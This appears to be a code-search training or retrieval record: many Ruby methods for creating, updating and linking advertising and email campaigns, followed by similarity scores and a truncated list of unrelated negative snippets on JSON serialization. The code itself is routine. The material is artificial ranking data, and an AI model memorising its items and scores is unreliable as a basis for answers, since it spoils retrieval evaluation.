"def enable_third_party_tracking!\n unless self.is_a? TC::Offer::Install\n raise \"Currently only Install offers support TPAT.\"\n end\n # Here we should use the @id(offer_id) but not @app_id to create the campaign, cause @app_id is actually the publisehr_app_id,\n # but the app_id we send to the third party should be the advertiser_app_id, which is the @id here\n payload = { name: self.title, app_id: @id, attribution_policy: 'immediate' }\n\n response = rest_request(:post, \"#{TestChamber.fake_has_offers_url}/campaigns\", payload: payload)\n @campaign = JSON.parse(response[:body])\n @tracking_url = campaign[\"unexpanded_url\"]\n @campaign\n end",
"def mccreate_campaign(type, opts, content)\n # create(type, options, content, segment_opts = nil, type_opts = nil) \n # setup_mcapi.campaigns.create(\"regular\", {list_id: \"a38ec3df9c\", subject: \"Gibbon is cool\", from_email: \"milton@gr33nmedia.com\", from_name: \"Darth Vader\", generate_text: true}, {template_id: \"<html><head></head><body><h1>Foo</h1><p>Bar</p></body></html>\"})\n \n begin\n campaign = setup_mcapi.campaigns.create(type, {list_id: opts[\"list_id\"], subject: opts[\"subject\"], from_email: opts[\"from_email\"], from_name: opts[\"from_name\"], generate_text: true}, {html: content}) \n error = {'error' => true, 'campaign' => campaign[\"id\"]}\n rescue Mailchimp::Error => e\n puts \"A Mailchimp error occurred\"\n error = {'error' => false, 'campaign' => nil}\n end \n return error\n end",
"def create_smart_display_campaign(client, customer_id, budget)\n # Creates a campaign operation.\n operation = client.operation.create_resource.campaign do |c|\n c.name = \"Smart Display Campaign #{(Time.new.to_f * 1000).to_i}\"\n # Smart Display campaign requires the advertising_channel_type as 'DISPLAY'.\n c.advertising_channel_type = :DISPLAY\n # Smart Display campaign requires the advertising_channel_sub_type as\n # 'DISPLAY_SMART_CAMPAIGN'.\n c.advertising_channel_sub_type = :DISPLAY_SMART_CAMPAIGN\n # Smart Display campaign requires the TargetCpa bidding strategy.\n c.target_cpa = Google::Ads::GoogleAds::V8::Common::TargetCpa.new\n c.target_cpa.target_cpa_micros = 5_000_000\n c.campaign_budget = budget\n # Optional: Sets the start and end dates for the campaign, beginning one day\n # from now and ending a month from now.\n c.start_date = DateTime.parse((Date.today + 1).to_s).strftime('%Y%m%d')\n c.end_date = DateTime.parse(Date.today.next_month.to_s).strftime('%Y%m%d')\n end\n\n # Issues a mutate request to add the campaign.\n response = client.service.campaign.mutate_campaigns(\n customer_id: customer_id,\n operations: [operation],\n )\n\n # Prints out some information about the created campaign.\n resource_name = response.results.first.resource_name\n puts \"Added a smart display campaign named #{resource_name}\"\n\n resource_name\nend",
"def launch_campaign\n campaign_info = platform_campaign.create\n if campaign_info.present?\n self.dsp_campaign_id = campaign_info[:id]\n end\n campaign_info\n end",
"def edit_campaign\n campaign_info = platform_campaign.edit\n # if campaign_info.present?\n # platform_campaign.delete_creative\n # platform_campaign.save_creative\n # end\n campaign_info\n end",
"def setup_aux_objs\n @campaign = Campaign.find(params[:campaign_id])\n @ads = @campaign.ads\n end",
"def update(campaign, opts)\n raise ArgumentError, \"Missing options hash\" unless opts.is_a?(Hash)\n campaign_opts = {}\n campaign_opts = campaign_opts.merge({:name => opts[:name]}) if opts.has_key?(:name)\n campaign_opts = campaign_opts.merge({:id => opts[:id]}) if opts.has_key?(:id)\n\n if campaign_opts.empty?\n raise ArgumentError, \"Options hash has no ID/Name\"\n end\n Mailgun.submit(:put, campaign_url(campaign), opts)\n end",
"def create\n @campaign = Campaign.create!(name: params[:name], dm_id: params[:dm_id], theme: params[:theme], setting: params[:setting], calendar_id: params[:calendar_id], starting_level: params[:starting_level], skillset_id: params[:skillset_id], custom_notes: params[:custom_notes], starting_month: params[:month], starting_weekday: params[:weekday], starting_day: params[:day], starting_year: params[:year], starting_age: params[:age], current_month: params[:month], current_weekday: params[:weekday], current_day: params[:day], current_year: params[:year], current_age: params[:age])\n\n params[:race_ids].each do |ri|\n CampaignRace.create!(campaign_id: @campaign.id, race_id: ri)\n end\n\n params[:klass_ids].each do |ki|\n CampaignKlass.create!(campaign_id: @campaign.id, klass_id: ki)\n end\n\n render json: @campaign, status: 201\n\n end",
"def mcget_campaign(campaign_id)\n # campaigns_res = setup_mcapi.campaigns.list( {campaign_id: \"f5666d1862\"} )\n campaigns_res = setup_mcapi.campaigns.list( {campaign_id: campaign_id} )\n search_campaign(campaigns_res)\n end",
"def link_campaign(campaign)\n raise \"Zone must be saved\" if new_record?\n raise ArgumentError.new(\"Campaign must be saved\")if campaign.new_record?\n\n session = Base.connection\n server = XMLRPC::Client.new2(\"#{session.url}#{self.class.endpoint}\")\n server.call(\"linkCampaign\", session.id, self.id, campaign.id)\n end",
"def create\n @campaign = Campaign.new(campaign_params)\n @campaign.users << current_user\n\n respond_to do |format|\n if @campaign.save\n format.html { redirect_to tenant_campaign_path(@campaign, tenant_id: @tenant.id), notice: 'Campaign was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def get_campaign\n @campaign = Campaign.find(params[:campaign_id])\n end",
"def link_campaign(campaign)\n raise \"Zone must be saved\" if new_record?\n raise ArgumentError.new(\"Campaign must be saved\")if campaign.new_record?\n\n session = self.class.connection\n server = XmlrpcClient.new2(\"#{session.url}\")\n server.call(\"ox.linkCampaign\", session, self.id, campaign.id)\n end",
"def set_campaign\n unless current_user.nil?\n @campaign = Campaign.find(params[:id])\n @campaign.user_id = current_user[:id]\n end\n end",
"def update(params = {})\n # REFACTOR for the moment, we use separate campaign object just to prepare and execute \n # campaign update request. This is kinda ugly and should be eventually refactored (if\n # only because of weird transfer of potential errors later when dealing with response). \n #\n # campaign basic data workflow: \n # parse given params by loading them into Campaign.new and reading them back, parsed\n # REFACTOR should be parsed by separate Campaign class method\n #\n campaign = Adapi::Campaign.new(params)\n # HOTFIX remove :service_name param inserted byu initialize method\n params.delete(:service_name)\n # ...and load parsed params back into the hash\n params.keys.each { |k| params[k] = campaign.send(k) }\n params[:id] = @id\n\n @criteria = params.delete(:criteria)\n params.delete(:targets)\n @ad_groups = params.delete(:ad_groups) || []\n\n @bidding_strategy = params.delete(:bidding_strategy)\n\n operation = { \n operator: 'SET', \n operand: params\n }\n\n # BiddingStrategy update has slightly different DSL from other params \n # https://developers.google.com/adwords/api/docs/reference/v201109_1/CampaignService.BiddingTransition\n #\n # See this post about BiddingTransition limitations:\n # https://groups.google.com/forum/?fromgroups#!topic/adwords-api/tmRk1m7PbhU\n # \"ManualCPC can transition to anything and everything else can only transition to ManualCPC\" \n if @bidding_strategy\n operation[:bidding_transition] = { target_bidding_strategy: @bidding_strategy }\n end\n \n campaign.mutate(operation)\n\n check_for_errors(campaign)\n\n # update campaign criteria\n if @criteria && @criteria.size > 0\n new_criteria = Adapi::CampaignCriterion.new(\n :campaign_id => @id,\n :criteria => @criteria\n )\n\n new_criteria.update!\n\n check_for_errors(new_criteria) \n end\n\n self.update_ad_groups!(@ad_groups)\n\n self.errors.empty?\n\n rescue CampaignError => e\n false\n end",
"def create\n @campaign = Campaign.new(campaign_params)\n @campaign.user_id = current_user[:id]\n\n respond_to do |format|\n if @campaign.save\n puts \"New campaign created: #{@campaign.inspect}\" \n\n if Rails.env.production?\n tracker = Mixpanel::Tracker.new(Generic.get_mixpanel_key)\n tracker.track(@campaign.user_id, 'Campaign Created')\n end \n\n format.html {\n redirect_to new_campaign_message_path(@campaign)\n }\n format.json { render :show, status: :created, location: @campaign }\n else\n format.html { render :new }\n format.json { render json: @campaign.errors, status: :unprocessable_entity }\n end\n end\n end",
"def associate_asset_with_campaigns(client, customer_id, promotion_asset_resource_name, campaign_ids)\n # Associates the specified promotion asset with the specified campaigns.\n\n if campaign_ids.empty?\n puts 'Asset was not associated with any campaigns.'\n return\n end\n\n operations = campaign_ids.map do |campaign_id|\n client.operation.create_resource.campaign_asset do |ca|\n ca.asset = promotion_asset_resource_name\n ca.field_type = :PROMOTION\n ca.campaign = client.path.campaign(customer_id, campaign_id)\n end\n end\n\n response = client.service.campaign_asset.mutate_campaign_assets(\n customer_id: customer_id,\n operations: operations,\n )\n\n response.results.each do |result|\n puts \"Created campaign asset with resource name '#{result.resource_name}'.\"\n end\nend",
"def install(a)\n time = CcomEntity.get_time\n self.update_attributes(:start => time)\n assets << a\n self.save\n end",
"def set_craft\n @craft = Craft.friendly.find(params[:id])\n end",
"def set_client_contact_sync\n @client_contact_sync = ClientContactSync.where(id: params[:id]).first\n client_contact_sync_hash()\n end",
"def link_asset_set_to_campaign(client, asset_set_resource_name, customer_id, campaign_id)\n # Creates a CampaignAssetSet representing the link between an AssetSet and a Campaign.\n # Creates an operation to add the CampaignAssetSet.\n operation = client.operation.create_resource.campaign_asset_set do |cas|\n cas.campaign = client.path.campaign(customer_id, campaign_id)\n cas.asset_set = asset_set_resource_name\n end\n\n # Issues the mutate request.\n response = client.service.campaign_asset_set.mutate_campaign_asset_sets(\n customer_id: customer_id,\n operations: [operation],\n )\n resource_name = response.results.first.resource_name\n puts \"Created a campaign asset set with resource name '#{resource_name}'\"\nend",
"def campaign_params\n params.require(:campaign).permit(:displayname, :hooks_json_string)\n end",
"def add_buyer(c_id)\n metadata[:buyers] ||= []\n\n metadata[:buyers] |= Array(c_id.to_i)\n self.save\n end",
"def update\n if @campaign.update(campaign_params)\n render json: @campaign\n else\n render json: @campaign.errors, status: :unprocessable_entity\n end\n end",
"def campaign_params\n params.require(:campaign).permit(:title, :description, :campaign_type_id)\n end",
"def campaign_for_contact entity\n entity.ensure_salesforce_id\n return if entity.salesforce_id.nil?\n \n campaign_member = campaign_member_for_contact(entity)\n return nil if campaign_member.nil?\n \n client.materialize('Campaign')\n SFDC_Models::Campaign.find(campaign_member.CampaignId)\n end",
"def audience\n @campaign = Campaign.find(params[:id])\n end",
"def create\n @campaign = Campaign.new(params[:campaign])\n @campaign.build_campaign_stat\n @campaign.campaign_stats_custom.build\n respond_to do |format|\n if @campaign.save\n \n format.html { redirect_to @campaign, notice: 'Campaign was successfully created and sent for review.' }\n format.json { render json: @campaign, status: :created, location: @campaign }\n else\n format.html { render action: \"new\" }\n format.json { render json: @campaign.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_customer_campaign\n @customer_campaign = CustomerCampaign.find(params[:id])\n end",
"def create\n @campaign = Campaign.new(campaign_params)\n\n begin\n ActiveRecord::Base.transaction do\n # 両方の Validation を実行しておく\n campaign_invalid = @campaign.invalid?\n\n if campaign_invalid\n render :new\n return\n end\n\n @campaign.save!\n\n # 対応するオファーを作成\n @campaign.update_related_offers\n\n redirect_to :action => 'index', notice: 'Campaign was successfully created.'\n end\n rescue => e\n logger.error e\n render :new\n end\n end",
"def perform(campaign_id, coupons)\n campaign = Spree::Campaign.find(campaign_id)\n coupons.each do |code|\n campaign.coupons.find_or_create_by(code: code.strip)\n end\n campaign.update_attribute(:coupons_processing,false)\n end",
"def campaign\n self.class.caffeinate_campaign\n end",
"def update!(**args)\n @campaign_count = args[:campaign_count] if args.key?(:campaign_count)\n @currency_code = args[:currency_code] if args.key?(:currency_code)\n @effective_currency_code = args[:effective_currency_code] if args.key?(:effective_currency_code)\n @enhanced_cpc = args[:enhanced_cpc] if args.key?(:enhanced_cpc)\n @id = args[:id] if args.key?(:id)\n @maximize_conversion_value = args[:maximize_conversion_value] if args.key?(:maximize_conversion_value)\n @maximize_conversions = args[:maximize_conversions] if args.key?(:maximize_conversions)\n @name = args[:name] if args.key?(:name)\n @non_removed_campaign_count = args[:non_removed_campaign_count] if args.key?(:non_removed_campaign_count)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @status = args[:status] if args.key?(:status)\n @target_cpa = args[:target_cpa] if args.key?(:target_cpa)\n @target_impression_share = args[:target_impression_share] if args.key?(:target_impression_share)\n @target_outrank_share = args[:target_outrank_share] if args.key?(:target_outrank_share)\n @target_roas = args[:target_roas] if args.key?(:target_roas)\n @target_spend = args[:target_spend] if args.key?(:target_spend)\n @type = args[:type] if args.key?(:type)\n end",
"def push_data_to_salesforce(object_type,data,auth_vals)\n instance_url = auth_vals[\"instance_url\"]\n access_token = auth_vals[\"access_token\"]\n data[0].each do |obj|\n obj = add_ids_to_campaignmember(obj,instance_url,access_token) if object_type == \"CampaignMember\"\n next if obj.nil?\n json_payload = get_json_payload(object_type,obj)\n query_response = search_salesforce(object_type,obj,instance_url,access_token)\n # rest api call parameters\n unless query_response == \"[]\" || query_response == '{\"totalSize\":0,\"done\":true,\"records\":[]}'\n if object_type == \"CampaignMember\"\n json_payload = get_json_payload(\"CampaignMemberPatch\",obj)\n json_response = JSON.parse(query_response)\n response_id = json_response[\"records\"][0][\"Id\"]\n base_uri = \"#{instance_url}/services/data/v29.0/sobjects/#{object_type}/#{response_id}\"\n response =\n rest_call(\"patch\",base_uri,json_payload,access_token)\n else\n json_response = JSON.parse(query_response)[0]\n response_id = json_response[\"Id\"]\n base_uri = \"#{instance_url}/services/data/v29.0/sobjects/#{object_type}/#{response_id}\"\n response =\n rest_call(\"patch\",base_uri,json_payload,access_token)\n end\n else\n base_uri = \"#{instance_url}/services/data/v29.0/sobjects/#{object_type}/\"\n response = rest_call(\"post\",base_uri,json_payload,access_token)\n end\n end\n end",
"def slots_per_campaign(campaign_id)\n ::TimeSlot.where(campaign_id: campaign_id).map do |record|\n if block_given?\n yield record\n else\n record\n end\n end\n end",
"def sync_cta\n room_type = self.room_type\n property = self.room_type.property\n channel = self.channel\n pool = PropertyChannel.find_by_channel_id_and_property_id(self.channel.id, property.id).pool\n\n logs = Array.new\n loop_date = DateTime.now.in_time_zone.beginning_of_day\n\n # loop until 400th day\n while loop_date <= Constant.maximum_end_date\n channel_cta = ChannelCta.find_by_date_and_property_id_and_pool_id_and_room_type_id_and_channel_id(loop_date, property.id, pool.id, room_type.id, channel.id)\n\n if !channel_cta.blank?\n ChannelCtaLog.create(:channel_cta_id => channel_cta.id, :cta => channel_cta.cta)\n end\n\n loop_date = loop_date + 1.day\n end\n ChannelCtaChangeSet.create_job(logs, pool, channel)\n end",
"def create\n @campaign = Campaign.new(campaign_params)\n\n if @campaign.save\n render json: @campaign\n else\n render json: @campaign.errors, status: :unprocessable_entity\n end\n end",
"def create\n @marketing_campaign = MarketingCampaign.new(params[:marketing_campaign])\n \n @marketing_campaign.contact_groups = Array.new\n \n if(params[:contact_groups] != nil)\n\t\t params[:contact_groups].each do |id|\n\t\t \t@marketing_campaign.contact_groups << ContactGroup.find(id[0])\n\t\t\tend\n\t\tend\n\t\t\n\t\t@marketing_campaign.next_status\n\n respond_to do |format|\n if @marketing_campaign.save\n format.html { redirect_to @marketing_campaign, notice: 'Marketing campaign was successfully created.' }\n format.json { render json: @marketing_campaign, status: :created, location: @marketing_campaign }\n else\n format.html { render action: \"new\" }\n format.json { render json: @marketing_campaign.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_craft\n @craft = Craft.find(params[:id])\n end",
"def campaigns\r\n CampaignsController.instance\r\n end",
"def update!(**args)\n @campaign_data = args[:campaign_data] if args.key?(:campaign_data)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @status = args[:status] if args.key?(:status)\n @time_created = args[:time_created] if args.key?(:time_created)\n @time_last_modified = args[:time_last_modified] if args.key?(:time_last_modified)\n end",
"def campaigns(options={})\n Resources::Campaigns.new(self, options)\n end",
"def get_campaign(access_token, campaign_id)\n url = Util::Config.get('endpoints.base_url') +\n sprintf(Util::Config.get('endpoints.campaign'), campaign_id)\n url = build_url(url)\n response = RestClient.get(url, get_headers(access_token))\n Components::Campaign.create(JSON.parse(response.body))\n end",
"def campaign_params\n params.require(:campaign).permit(:name, :target_group_id)\n end",
"def update_studio\n if studio.present?\n if client?\n if studio.clients.select { |u| u.id == id }.nil?\n studio.clients << self\n studio.save\n end\n end\n if studio_staff?\n if studio.staffers.select { |u| u.id == id }.nil?\n studio.staffers << self\n studio.save\n end\n end\n end\n end",
"def update\n @campaign = Campaign.find_by(id: params[:id])\n if @campaign.update(update_campaign_params)\n head :no_content\n else\n render json: @campaign.errors, status: :unprocessable_entity\n end\n end",
"def create\n @creative = Creative.new(creative_params)\n @creative.campaign = @campaign\n\n respond_to do |format|\n if @creative.save\n format.html { redirect_to [@campaign, @creative], notice: 'Вид рекламы создан.' }\n format.json { render :show, status: :created, location: @creative }\n else\n format.html { render :new }\n format.json { render json: @creative.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_campaign_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CampaignsApi.update_campaign ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling CampaignsApi.update_campaign\"\n end\n # resource path\n local_var_path = \"/campaigns/{id}\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'campaign_resource'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CampaignResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CampaignsApi#update_campaign\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def attach_cross_account_bidding_strategy_to_campaign(\n client,\n customer_id,\n campaign_id,\n bidding_strategy_resource_name)\n operation = client.operation.update_resource.campaign(\n client.path.campaign(customer_id, campaign_id)) do |c|\n c.bidding_strategy = bidding_strategy_resource_name\n end\n\n # Sends the operation in a mutate request.\n response = client.service.campaign.mutate_campaigns(\n customer_id: customer_id,\n operations: [operation],\n )\n\n puts \"Updated campaign with resource name: \" \\\n \"`#{response.results.first.resource_name}`\"\nend",
"def add_contact(contact)\n\t\tcontact.id = @@ids\n\t\t@contacts << contact \n\t\t@@ids += 1\n\t\tcontact\n\tend",
"def caffeinate_campaign\n return @caffeinate_campaign if @caffeinate_campaign.present?\n\n if ::Caffeinate.config.implicit_campaigns?\n @caffeinate_campaign = ::Caffeinate::Campaign.find_or_initialize_by(slug: campaign_slug)\n if @caffeinate_campaign.new_record?\n @caffeinate_campaign.name = \"#{name.delete_suffix('Dripper').titleize} Campaign\"\n @caffeinate_campaign.save!\n end\n else\n @caffeinate_campaign = ::Caffeinate::Campaign[campaign_slug]\n end\n\n @caffeinate_campaign\n end",
"def sms_campaigns_by_sms_campaign_id_put_with_http_info(sms_campaign_id, campaign, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: SmsCampaignApi.sms_campaigns_by_sms_campaign_id_put ...'\n end\n # verify the required parameter 'sms_campaign_id' is set\n if @api_client.config.client_side_validation && sms_campaign_id.nil?\n fail ArgumentError, \"Missing the required parameter 'sms_campaign_id' when calling SmsCampaignApi.sms_campaigns_by_sms_campaign_id_put\"\n end\n # verify the required parameter 'campaign' is set\n if @api_client.config.client_side_validation && campaign.nil?\n fail ArgumentError, \"Missing the required parameter 'campaign' when calling SmsCampaignApi.sms_campaigns_by_sms_campaign_id_put\"\n end\n # resource path\n local_var_path = '/sms-campaigns/{sms_campaign_id}'.sub('{' + 'sms_campaign_id' + '}', sms_campaign_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(campaign)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: SmsCampaignApi#sms_campaigns_by_sms_campaign_id_put\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def verify_craft files = nil, args = {:discover_deleted => false}\n files = self.instance.identify_craft_in(self.name) if files.nil?\n\n present_craft = {:sph => [], :vab => []} \n existing_craft = Craft.where(:campaign_id => self.id).to_a\n\n #this rats nest of chained loops is not really that horrible!\n #it takes the array of craft from the above select and groups them by craft_type. Then for each group it makes an hash of {craft_name => craft}. \n #So it results in a hash of; craft_type => hash of {craft_name => craft}\n existing_craft_map = existing_craft.group_by{|c| c.craft_type}.map{|k,v| {k => v.map{|cc| {cc.name => cc}}.inject{|i,j|i.merge(j)} } }.inject{|i,j|i.merge(j)}\n\n #create a new Craft object for each craft file found, unless a craft object for that craft already exists.\n files.each do |type, craft_files| #files is grouped by craft_type\n craft_files.each do |craft_name| \n name = craft_name.sub(\".craft\",\"\") #get the name of the craft \n #and determine if a craft by that name already exists in that craft_type.\n match = existing_craft_map[type.to_s][name] if existing_craft_map && !existing_craft_map[type.to_s].nil?\n if match.nil?\n craft = self.craft.create(:name => name, :craft_type => type) #if the match is nil, create a Craft object\n self.persistence_checksum = nil #set checksum to nil so next pass of System.process will process this campaign.\n elsif match.deleted?\n match.update_attributes(:deleted => false, :history_count => nil) #if the craft object was marked as deleted, but the file was restored, then un-mark the DB object.\n self.persistence_checksum = nil #set checksum to nil so next pass of System.process will process this campaign.\n end\n present_craft[type] << name #add name to list which is used later to indicate which crafts to NOT mark as deleted \n end\n end\n self.save if self.changed?\n \n #Discover deleted - any craft for which no file exists, but which at one point was in the repo\n if args[:discover_deleted] \n ddc = [] #track to ensure each deleted craft is only processed once (in cases where a craft has been deleted multiple times)\n self.discover_deleted_craft(existing_craft_map).each do |del_inf|\n del_inf[:deleted].each do |craft_data|\n next if ddc.include? [craft_data[:craft_type], craft_data[:name]] #skip if a craft of this craft_type and name has already been processed\n ddc << [craft_data[:craft_type], craft_data[:name]] #otherwise add entry to store \n #and create a craft object for the deleted craft.\n self.craft.create!(:name => craft_data[:name].sub(\".craft\",\"\"), :craft_type => craft_data[:craft_type].downcase, :deleted => true, :last_commit => del_inf[:sha])\n end\n end\n end\n\n #remove craft from the repo if the file no longer exists and mark the craft as deleted\n existing_craft.select{|c| !c.deleted?}.each do |craft|\n next if present_craft[craft.craft_type.to_sym] && present_craft[craft.craft_type.to_sym].include?(craft.name)\n craft.deleted = true #actions in .commit will save this attribute\n craft.commit\n end\n end",
"def set_voice_campaign\n @voice_campaign = VoiceCampaign.find(params[:id])\n end",
"def mcready_campaign(campaign_id)\n # setup_mcapi.campaigns.ready(\"d61fdbdd2a\")\n setup_mcapi.campaigns.ready( campaign_id )\n end",
"def set_campaign_application(id)\n @campaign_application = CampaignApplication.find(id)\n end",
"def create\n @campaign = Campaign.new(create_campaign_params)\n @campaign.start_date = DateTime.now\n @campaign.user = get_current_user\n if @campaign.save\n render json: @campaign, status: :created\n else\n render json: @campaign.errors, status: :unprocessable_entity\n end\n end"
] |
[
"0.64817184",
"0.6257517",
"0.6105462",
"0.58810407",
"0.5878085",
"0.57558006",
"0.5595809",
"0.54732835",
"0.54530966",
"0.5350305",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.5348509",
"0.53396595",
"0.5319513",
"0.5314849",
"0.5286472",
"0.5283677",
"0.5270611",
"0.5266176",
"0.5255017",
"0.5255017",
"0.52534294",
"0.51931524",
"0.5190951",
"0.5179019",
"0.5155762",
"0.5110198",
"0.5110198",
"0.50914675",
"0.5067753",
"0.50298935",
"0.5007228",
"0.49928728",
"0.49599943",
"0.49306366",
"0.49195972",
"0.49164551",
"0.4910001",
"0.48975623",
"0.4885449",
"0.48835585",
"0.48808375",
"0.48609567",
"0.48600897",
"0.48548627",
"0.48488444",
"0.48403254",
"0.48394263",
"0.4827127",
"0.48248234",
"0.48245832",
"0.4813642",
"0.4809778",
"0.48064384",
"0.47845665",
"0.4773309",
"0.47678253",
"0.47562736",
"0.47554109",
"0.47542393",
"0.4754176",
"0.4752772",
"0.47500348",
"0.47475803",
"0.47455764",
"0.47452432",
"0.47280797",
"0.47273073",
"0.47020212",
"0.47000232",
"0.46888477",
"0.46886483",
"0.46836367",
"0.46812457",
"0.4680418",
"0.46715656",
"0.46646294",
"0.46398214",
"0.46374312",
"0.46317056",
"0.46262676",
"0.46212962",
"0.46080923",
"0.46051022",
"0.46040294",
"0.4592497",
"0.4572742",
"0.45624012"
] |
0.76610833
|
0
|
write data to attrbute as json string, set instance var containing ids which have been removed since last write
|
def sync= sync_list
cur_list = sync
@removed_from_sync_list = cur_list[:with] - sync_list[:with] if sync_list[:with] && cur_list[:with]
sync_list[:with] = sync_list[:with].select{|id| id != self.campaign_id } if sync_list[:with]
super(sync_list.to_json)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write_attrs\n self.temp_attrs[:id] = self.id\n self.temp_attrs[:created_at] ||= Time.now.utc.to_i\n\n attrs_to_write = self.temp_attrs.dup\n # Serialize nested hashes.\n self.nested_attributes.each do |name|\n val = attrs_to_write[name]\n attrs_to_write[name] = val.to_json if ! val.nil?\n end\n\n redis_hash_key_bulk_set(self.attrs.key, attrs_to_write)\n end",
"def persistanse_data\n @attributes.to_json\n end",
"def write\n hash = attributes_hash\n write_value(serializer_class.dump(hash))\n @_cache = hash # set @_cache after the write\n end",
"def save\n json = JSON.dump @attributes\n\n @dbm[@id] = json\n\n true\n end",
"def save\n before_save\n $redis.set(redis_identity, attributes.to_json)\n after_save\n end",
"def dump_data\n create_attr_hash\n end",
"def save\n _create unless @json_dict.fetch(@id_property, false)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"tagsToAdd\", @tags_to_add)\n writer.write_collection_of_object_values(\"tagsToRemove\", @tags_to_remove)\n writer.write_additional_data(@additional_data)\n end",
"def to_json\n io = StringIO.new << \"{\"\n\n io << JSON.create_id.to_json << \":\" << self.class.name.to_json << \",\"\n\n @data.each {|key, value|\n io << key.to_json.to_s << \":\" << value.to_json << \",\"\n }\n\n io.seek(-1, IO::SEEK_CUR)\n io << \"}\"\n\n io.string\n end",
"def serialize_attrs\n @serialize_attrs ||= []\n end",
"def json\n @@id += 1\n \"{\" +\n \"\\\"type\\\": \\\"#{@type}\\\", \\\"id\\\": \\\"A#{@@id}\\\", \\\"value\\\": \\\"#{@value}\\\", \" +\n \"\\\"offset\\\": #{@offset}, \\\"length\\\": #{@length}\" +\n \"}\"\n end",
"def instance_to_json\n\t\t# byebug\n\t\t{\n\t\tid: self.id,\n\t\tname: self.name,\n\t\theight: self.height,\n\t\tlast_watered: self.last_watered,\n\t\tlast_watered_amount: self.last_watered_amount,\n\t\tgrow_zone: self.grow_zone,\n\t\tnotes: self.notes,\n\t\tplanted_date: self.planted_date,\n\t\tfarm: self.farm,\t\n\t\tsensor: self.sensor\n\t\t# farm: { \n\t\t# \tfarm: self.farm.name,\n\t\t# \tfarm: self.farm.id,\n\t\t# },\n\t\t}\n\tend",
"def store_values\n self.parent.write_attribute(self.field_name, self.ids)\n end",
"def write_attribute(attr_name, value)\n attr_name = attr_name.to_s\n @attributes_cache.delete(attr_name)\n @attributes[attr_name] = convert_to_json(value, type_for_property(attr_name.to_sym))\n end",
"def flush\n if @attribute_json\n @updated_json = @attribute_json.dup\n else\n @updated_json = default_attribute\n end\n \n # Update the attribute's JSON values based on any new params. Sadly due to the\n # structure of the JSON vs the flat nature of the puppet properties, this\n # is a bit of a manual task.\n if not @property_hash[:secured1].to_s.empty?\n @updated_json[\"secured1\"] = @property_hash[:secured1]\n end\n if not @property_hash[:secured2].to_s.empty?\n @updated_json[\"secured2\"] = @property_hash[:secured2]\n end\n if not @property_hash[:secured3].to_s.empty?\n @updated_json[\"secured3\"] = @property_hash[:secured3]\n end\n if not @property_hash[:secured4].to_s.empty?\n @updated_json[\"secured4\"] = @property_hash[:secured4]\n end\n\n #Either arg1 or encrypted_arg1 is returned by Opsview, so we need to make sure to do the right thing\n #when transitioning to and from encrypted arguments\n\n if not @resource[:arg1].nil?\n @updated_json[\"secured1\"] = \"0\"\n @updated_json[\"arg1\"] = @property_hash[:arg1]\n if defined?@updated_json[\"encrypted_arg1\"]\n \t@updated_json.delete(\"encrypted_arg1\")\n end\n elsif not @property_hash[:encrypted_arg1].to_s.empty?\n @updated_json[\"encrypted_arg1\"] = @property_hash[:encrypted_arg1]\n @updated_json[\"secured1\"] = \"1\"\n if defined?@updated_json[\"arg1\"]\n \t@updated_json.delete(\"arg1\")\n end\n end\n\n if not @resource[:arg2].nil?\n @updated_json[\"secured2\"] = \"0\"\n @updated_json[\"arg2\"] = @property_hash[:arg2]\n if defined?@updated_json[\"encrypted_arg2\"]\n \t@updated_json.delete(\"encrypted_arg2\")\n end\n elsif not @property_hash[:encrypted_arg2].to_s.empty?\n @updated_json[\"encrypted_arg2\"] = @property_hash[:encrypted_arg2]\n @updated_json[\"secured2\"] = \"1\"\n if defined?@updated_json[\"arg2\"]\n \t@updated_json.delete(\"arg2\")\n end\n end\n\n if not @resource[:arg3].nil?\n @updated_json[\"secured3\"] = \"0\"\n @updated_json[\"arg3\"] = @property_hash[:arg3]\n if defined?@updated_json[\"encrypted_arg3\"]\n \t@updated_json.delete(\"encrypted_arg3\")\n end\n elsif not 